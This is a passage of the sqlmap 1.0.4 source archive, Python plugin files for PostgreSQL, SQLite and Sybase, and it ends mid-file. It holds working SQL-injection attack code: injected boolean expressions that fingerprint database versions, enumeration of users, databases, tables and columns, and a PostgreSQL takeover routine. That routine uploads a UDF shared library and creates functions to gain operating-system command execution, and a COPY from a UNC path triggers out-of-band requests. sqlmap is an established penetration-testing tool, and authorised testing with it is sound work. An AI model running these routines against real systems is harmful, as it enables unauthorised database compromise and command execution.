9.1.3) """ if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or (conf.dbms or "").lower() in PGSQL_ALIASES): setDbms(DBMS.PGSQL) self.getBanner() return True infoMsg = "testing %s" % DBMS.PGSQL logger.info(infoMsg) result = inject.checkBooleanExpression("[RANDNUM]::int=[RANDNUM]") if result: infoMsg = "confirming %s" % DBMS.PGSQL logger.info(infoMsg) result = inject.checkBooleanExpression("COALESCE([RANDNUM], NULL)=[RANDNUM]") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL logger.warn(warnMsg) return False setDbms(DBMS.PGSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) if inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"): Backend.setVersion(">= 9.1.0") elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1,'EEEE'))>0"): Backend.setVersionList([">= 9.0.0", "< 9.1.0"]) elif inject.checkBooleanExpression("2=(SELECT DIV(6,3))"): Backend.setVersionList([">= 8.4.0", "< 9.0.0"]) elif inject.checkBooleanExpression("EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"): Backend.setVersionList([">= 8.3.0", "< 8.4.0"]) elif inject.checkBooleanExpression("ISFINITE(TRANSACTION_TIMESTAMP())"): Backend.setVersionList([">= 8.2.0", "< 8.3.0"]) elif inject.checkBooleanExpression("9=(SELECT GREATEST(5,9,1))"): Backend.setVersionList([">= 8.1.0", "< 8.2.0"]) elif inject.checkBooleanExpression("3=(SELECT WIDTH_BUCKET(5.35,0.024,10.06,5))"): Backend.setVersionList([">= 8.0.0", "< 8.1.0"]) elif inject.checkBooleanExpression("'d'=(SELECT SUBSTR(MD5('sqlmap'),1,1))"): Backend.setVersionList([">= 7.4.0", "< 8.0.0"]) elif inject.checkBooleanExpression("'p'=(SELECT SUBSTR(CURRENT_SCHEMA(),1,1))"): Backend.setVersionList([">= 7.3.0", "< 7.4.0"]) elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"): Backend.setVersionList([">= 7.2.0", "< 7.3.0"]) elif inject.checkBooleanExpression("'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'),2,1))"): Backend.setVersionList([">= 7.1.0", "< 7.2.0"]) elif inject.checkBooleanExpression("8=(SELECT POW(2,3))"): Backend.setVersionList([">= 7.0.0", "< 7.1.0"]) elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"): Backend.setVersionList([">= 6.5.0", "< 6.5.3"]) elif inject.checkBooleanExpression("VERSION()=VERSION()"): Backend.setVersionList([">= 6.4.0", "< 6.5.0"]) elif inject.checkBooleanExpression("2=(SELECT SUBSTR(CURRENT_DATE,1,1))"): Backend.setVersionList([">= 6.3.0", "< 6.4.0"]) elif inject.checkBooleanExpression("'s'=(SELECT SUBSTRING('sqlmap',1,1))"): Backend.setVersionList([">= 6.2.0", "< 6.3.0"]) else: Backend.setVersion("< 6.2.0") return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) # Windows executables should always have ' Visual C++' or ' mingw' # patterns within the banner osWindows = (" Visual C++", "mingw") for osPattern in osWindows: query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%" + osPattern + "%')>0" if inject.checkBooleanExpression(query): Backend.setOs(OS.WINDOWS) break if Backend.getOs() is None: Backend.setOs(OS.LINUX) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() logger.info(infoMsg) self.cleanup(onlyFileTbl=True) sqlmap-1.0.4/plugins/dbms/postgresql/syntax.py000066400000000000000000000020111270044205500215130ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ Note: PostgreSQL has a general problem with concenation operator (||) precedence (hence the parentheses enclosing) e.g. SELECT 1 WHERE 'a'!='a'||'b' will trigger error ("argument of WHERE must be type boolean, not type text") >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar' """ def escaper(value): return "(%s)" % "||".join("CHR(%d)" % ord(_) for _ in value) # Postgres CHR() function already accepts Unicode code point of character(s) return Syntax._escape(expression, quote, escaper) sqlmap-1.0.4/plugins/dbms/postgresql/takeover.py000066400000000000000000000100121270044205500220050ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp from lib.core.common import randomStr from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import OS from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def udfSetRemotePath(self): # On Windows if Backend.isOs(OS.WINDOWS): # The DLL can be in any folder where postgres user has # read/write/execute access is valid # NOTE: by not specifing any path, it will save into the # data directory, on PostgreSQL 8.3 it is # C:\Program Files\PostgreSQL\8.3\data. self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) # On Linux else: # The SO can be in any folder where postgres user has # read/write/execute access is valid self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] if banVer >= "9.4": majorVer = "9.4" elif banVer >= "9.3": majorVer = "9.3" elif banVer >= "9.2": majorVer = "9.2" elif banVer >= "9.1": majorVer = "9.1" elif banVer >= "9.0": majorVer = "9.0" elif banVer >= "8.4": majorVer = "8.4" elif banVer >= "8.3": majorVer = "8.3" elif banVer >= "8.2": majorVer = "8.2" else: errMsg = "unsupported feature on versions of PostgreSQL before 8.2" raise SqlmapUnsupportedFeatureException(errMsg) try: if Backend.isOs(OS.WINDOWS): _ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_") checkFile(_) self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "dll" else: _ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_") checkFile(_) self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "so" except SqlmapSystemException: errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch()) raise SqlmapUnsupportedFeatureException(errMsg) def udfCreateFromSharedLib(self, udf, inpRet): if udf in self.udfToCreate: logger.info("creating UDF '%s' from the binary UDF file" % udf) inp = ", ".join(i for i in inpRet["input"]) ret = inpRet["return"] # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html inject.goStacked("DROP FUNCTION %s(%s)" % (udf, inp)) inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) self.createdUdf.add(udf) else: logger.debug("keeping existing UDF '%s' as requested" % udf) def uncPathRequest(self): self.createSupportTbl(self.fileTblName, self.tblField, "text") inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) self.cleanup(onlyFileTbl=True) sqlmap-1.0.4/plugins/dbms/sqlite/000077500000000000000000000000001270044205500167175ustar00rootroot00000000000000sqlmap-1.0.4/plugins/dbms/sqlite/__init__.py000066400000000000000000000020171270044205500210300ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import SQLITE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.sqlite.enumeration import Enumeration from plugins.dbms.sqlite.filesystem import Filesystem from plugins.dbms.sqlite.fingerprint import Fingerprint from plugins.dbms.sqlite.syntax import Syntax from plugins.dbms.sqlite.takeover import Takeover from plugins.generic.misc import Miscellaneous class SQLiteMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines SQLite methods """ def __init__(self): self.excludeDbsList = SQLITE_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.SQLITE] = Syntax.escape sqlmap-1.0.4/plugins/dbms/sqlite/connector.py000066400000000000000000000056731270044205500212760ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import sqlite3 except ImportError: pass import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pysqlite.googlecode.com/ and http://packages.ubuntu.com/quantal/python-sqlite User guide: http://docs.python.org/release/2.5/lib/module-sqlite3.html API: http://docs.python.org/library/sqlite3.html Debian package: python-sqlite (SQLite 2), python-pysqlite3 (SQLite 3) License: MIT Possible connectors: http://wiki.python.org/moin/SQLite """ def __init__(self): GenericConnector.__init__(self) self.__sqlite = sqlite3 def connect(self): self.initConnection() self.checkFileDb() try: self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) cursor = self.connector.cursor() cursor.execute("SELECT * FROM sqlite_master") cursor.close() except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2" logger.warn(warnMsg) try: try: import sqlite except ImportError: errMsg = "sqlmap requires 'python-sqlite' third-party library " errMsg += "in order to directly connect to the database '%s'" % self.db raise SqlmapMissingDependence(errMsg) self.__sqlite = sqlite self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: raise SqlmapConnectionException(msg[0]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except self.__sqlite.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0]) return None def execute(self, query): try: self.cursor.execute(utf8encode(query)) except self.__sqlite.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0]) except self.__sqlite.DatabaseError, msg: raise SqlmapConnectionException(msg[0]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() sqlmap-1.0.4/plugins/dbms/sqlite/enumeration.py000066400000000000000000000035451270044205500216260ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getCurrentUser(self): warnMsg = "on SQLite it is not possible to enumerate the current user" logger.warn(warnMsg) def getCurrentDb(self): warnMsg = "on SQLite it is not possible to get name of the current database" logger.warn(warnMsg) def isDba(self): warnMsg = "on SQLite the current user has all privileges" logger.warn(warnMsg) def getUsers(self): warnMsg = "on SQLite it is not possible to enumerate the users" logger.warn(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on SQLite it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def getPrivileges(self, *args): warnMsg = "on SQLite it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def getDbs(self): warnMsg = "on SQLite it is not possible to enumerate databases (use only '--tables')" logger.warn(warnMsg) return [] def searchDb(self): warnMsg = "on SQLite it is not possible to search databases" logger.warn(warnMsg) return [] def searchColumn(self): errMsg = "on SQLite it is not possible to search columns" raise SqlmapUnsupportedFeatureException(errMsg) def getHostname(self): warnMsg = "on SQLite it is not possible to enumerate the hostname" logger.warn(warnMsg) sqlmap-1.0.4/plugins/dbms/sqlite/filesystem.py000066400000000000000000000013261270044205500214570ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on SQLite it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on SQLite it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/sqlite/fingerprint.py000066400000000000000000000061621270044205500216250ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import METADB_SUFFIX from lib.core.settings import SQLITE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.SQLITE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.SQLITE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://www.sqlite.org/lang_corefunc.html * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or (conf.dbms or "").lower() in SQLITE_ALIASES): setDbms(DBMS.SQLITE) self.getBanner() return True infoMsg = "testing %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("LAST_INSERT_ROWID()=LAST_INSERT_ROWID()") if result: infoMsg = "confirming %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("SQLITE_VERSION()=SQLITE_VERSION()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE logger.warn(warnMsg) return False else: infoMsg = "actively fingerprinting %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0") version = '3' if result else '2' Backend.setVersion(version) setDbms(DBMS.SQLITE) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE logger.warn(warnMsg) return False def forceDbmsEnum(self): conf.db = "%s%s" % (DBMS.SQLITE, METADB_SUFFIX) sqlmap-1.0.4/plugins/dbms/sqlite/syntax.py000066400000000000000000000024021270044205500206150ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import binascii from lib.core.common import Backend from lib.core.common import isDBMSVersionAtLeast from lib.core.settings import UNICODE_ENCODING from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Backend.setVersion('2') ['2'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") "SELECT 'abcdefgh' FROM foobar" >>> Backend.setVersion('3') ['3'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") "SELECT CAST(X'6162636465666768' AS TEXT) FROM foobar" """ def escaper(value): # Reference: http://stackoverflow.com/questions/3444335/how-do-i-quote-a-utf-8-string-literal-in-sqlite3 return "CAST(X'%s' AS TEXT)" % binascii.hexlify(value.encode(UNICODE_ENCODING) if isinstance(value, unicode) else value) retVal = expression if isDBMSVersionAtLeast('3'): retVal = Syntax._escape(expression, quote, escaper) return retVal sqlmap-1.0.4/plugins/dbms/sqlite/takeover.py000066400000000000000000000020161270044205500211100ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on SQLite it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on SQLite it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/sybase/000077500000000000000000000000001270044205500167045ustar00rootroot00000000000000sqlmap-1.0.4/plugins/dbms/sybase/__init__.py000066400000000000000000000020171270044205500210150ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import SYBASE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.sybase.enumeration import Enumeration from plugins.dbms.sybase.filesystem import Filesystem from plugins.dbms.sybase.fingerprint import Fingerprint from plugins.dbms.sybase.syntax import Syntax from plugins.dbms.sybase.takeover import Takeover from plugins.generic.misc import Miscellaneous class SybaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Sybase methods """ def __init__(self): self.excludeDbsList = SYBASE_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.SYBASE] = Syntax.escape sqlmap-1.0.4/plugins/dbms/sybase/connector.py000066400000000000000000000047761270044205500212660ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import _mssql import pymssql except ImportError: pass import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pymssql.sourceforge.net/ User guide: http://pymssql.sourceforge.net/examples_pymssql.php API: http://pymssql.sourceforge.net/ref_pymssql.php Debian package: python-pymssql License: LGPL Possible connectors: http://wiki.python.org/moin/SQL%20Server Important note: pymssql library on your system MUST be version 1.0.2 to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) return None def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) except pymssql.InternalError, msg: raise SqlmapConnectionException(msg) return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() try: self.connector.commit() except pymssql.OperationalError: pass return retVal sqlmap-1.0.4/plugins/dbms/sybase/enumeration.py000066400000000000000000000263421270044205500216130ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import isTechniqueAvailable from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.dicts import SYBASE_TYPES from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.utils.pivotdumptable import pivotDumpTable from lib.techniques.brute.use import columnExists from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].users randStr = randomStr() query = rootQuery.inband.query if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = (False, True) else: blinds = (True,) for blind in blinds: retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) if retVal: kb.data.cachedUsers = retVal[0].values()[0] break return kb.data.cachedUsers def getPrivileges(self, *args): warnMsg = "on Sybase it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" logger.warn(warnMsg) users = [] areAdmins = set() if conf.user: users = [conf.user] elif not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers for user in users: user = unArrayizeValue(user) if user is None: continue isDba = self.isDba(user) if isDba is True: areAdmins.add(user) kb.data.cachedUsersPrivileges[user] = None return (kb.data.cachedUsersPrivileges, areAdmins) def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = "fetching database names" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].dbs randStr = randomStr() query = rootQuery.inband.query if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] for blind in blinds: retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) if retVal: kb.data.cachedDbs = retVal[0].values()[0] break if kb.data.cachedDbs: kb.data.cachedDbs.sort() return kb.data.cachedDbs def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(",") else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) dbs = filter(None, dbs) infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) logger.info(infoMsg) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] rootQuery = queries[Backend.getIdentifiedDbms()].tables for db in dbs: for blind in blinds: randStr = randomStr() query = rootQuery.inband.query % db retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) if retVal: for table in retVal[0].values()[0]: if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) break for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(",") else: colList = [] if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl) if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: table = {} table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) for blind in blinds: randStr = randomStr() query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.usertype' % randStr], blind=blind) if retVal: table = {} columns = {} for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.usertype" % randStr])): columns[name] = SYBASE_TYPES.get(int(type_) if isinstance(type_, basestring) and type_.isdigit() else type_, type_) table[safeSQLIdentificatorNaming(tbl)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table break return kb.data.cachedColumns def searchDb(self): warnMsg = "on Sybase searching of databases is not implemented" logger.warn(warnMsg) return [] def searchTable(self): warnMsg = "on Sybase searching of tables is not implemented" logger.warn(warnMsg) return [] def searchColumn(self): warnMsg = "on Sybase searching of columns is not implemented" logger.warn(warnMsg) return [] def search(self): warnMsg = "on Sybase search option is not available" logger.warn(warnMsg) def getHostname(self): warnMsg = "on Sybase it is not possible to enumerate the hostname" logger.warn(warnMsg) sqlmap-1.0.4/plugins/dbms/sybase/filesystem.py000066400000000000000000000013261270044205500214440ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on Sybase it is not possible to read files" raise 